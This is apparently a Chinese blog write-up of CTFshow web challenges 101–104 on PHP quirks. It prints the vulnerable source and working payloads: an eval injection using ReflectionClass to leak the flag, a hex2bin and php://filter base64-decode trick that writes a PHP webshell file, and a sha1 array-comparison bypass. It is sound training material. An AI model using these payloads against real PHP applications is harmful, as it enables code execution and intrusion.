CTFshowweb (php特性101-104)

                                                                        web101


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

解析:

这里不会有人$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);被这里骗了吧,以为v2和v3都是要传入数字的,其实不然,v0的赋值级别最高,然后v0是个数字就行,要保证v0是数字只要保证v1传入数字就好了,后面两个管你是不是数字,就算你是false也不影响我后面做题。

    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){这里没有过滤分号

然后着重要说的是:php反射

动态对象的创建和操作往往与反射机制有关。通过反射,我们可以在运行时获取类的信息并实例化对象,而不需要提前在代码中定义对象。这种灵活性使得我们可以根据需要动态地创建和操作对象,以适应不同的情境和需求。

他和反序列化是不同的,php反射是根据一个字符串创建一个类。

下面是反射类的一个脚本演示,不过那是开发人员的任务了,这里不要求掌握,只要知道使用反射获取类的信息怎么做就好了,直接echo new reflectionclass就搞定了。

name = $name;
    }
    
    public function sayHello() {
        echo "Hello, " . $this->name . "!";
    }
}

// 使用反射获取类的信息
$class = new ReflectionClass('MyClass');
echo "Class name: " . $class->getName() . "\n";
echo "Parent class: " . $class->getParentClass()->getName() . "\n";

// 使用反射调用方法
$instance = $class->newInstance('John');
$method = $class->getMethod('sayHello');
$method->invoke($instance);
?>

payload:v1=1&v2=echo new reflectionclass&v3=;

CTFshowweb (php特性101-104)_第1张图片

接下来把0x2d变成-就好了,接下来发现替换以后最后flag少了1位,怎么办?

末尾就少了一位,爆破啊,不过我直接手工爆破就好,一个一个尝试。

仔细观察flag由a,b,c,d,e,f,0,1,2,3,4,5,6,7,8,9一共16位组成,一个个尝试就好

                                                                      web102


/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

知识点:

以下是几个使用 substr() 函数的例子:

$str = "Hello, World!";

echo substr($str, 0, 5); // 输出 "Hello"

echo substr($str, 7); // 输出 "World!" $str = "Hello, World!";

echo substr($str, -6); // 输出 "World!"

call_user_func这里是把第一个参数作为回调函数使用的意思。(适用于调用动态函数)

这里已经明摆告诉你我要现场制作一个动态函数,而且还要全数字,而且还得有用,能执行命令!

这个是本题的难度。

本题这里只要v2是数字,而且又可以进行命令执行

payload:

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
POST
v1=hex2bin

然后访问1.php就没问题了

这里的v2其实就是

本题这里只要v2是数字,而且又可以进行命令执行(这里直接记忆就好了,很难推导出一个又是数字,又是可以执行命令执行的)

v3这里file_put_contents是可以文件写入和读取的,这里使用伪协议。

                                                                        web103


/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

还是之前的payload,这里只是要求多了一个,不能出现php拆开分开都不行。

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=1.php
POST
v1=hex2bin


                                                                        web104


/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

?>

CTFshowweb (php特性101-104)_第2张图片

这个知识点我之前的文章写有:PHP强相等&弱相等(附带科学计数法)_php 科学计数法-CSDN博客

系统学习一下是不错的。

这里直接数组绕过

CTFshowweb (php特性101-104)_第3张图片

payload:?v2[]=2

POST:v1[]=1

真诚希望我的文章对大家有所帮助,谢谢!

你可能感兴趣的:(PHP特性,CTF赛事与题目,php,ctfshow,web安全)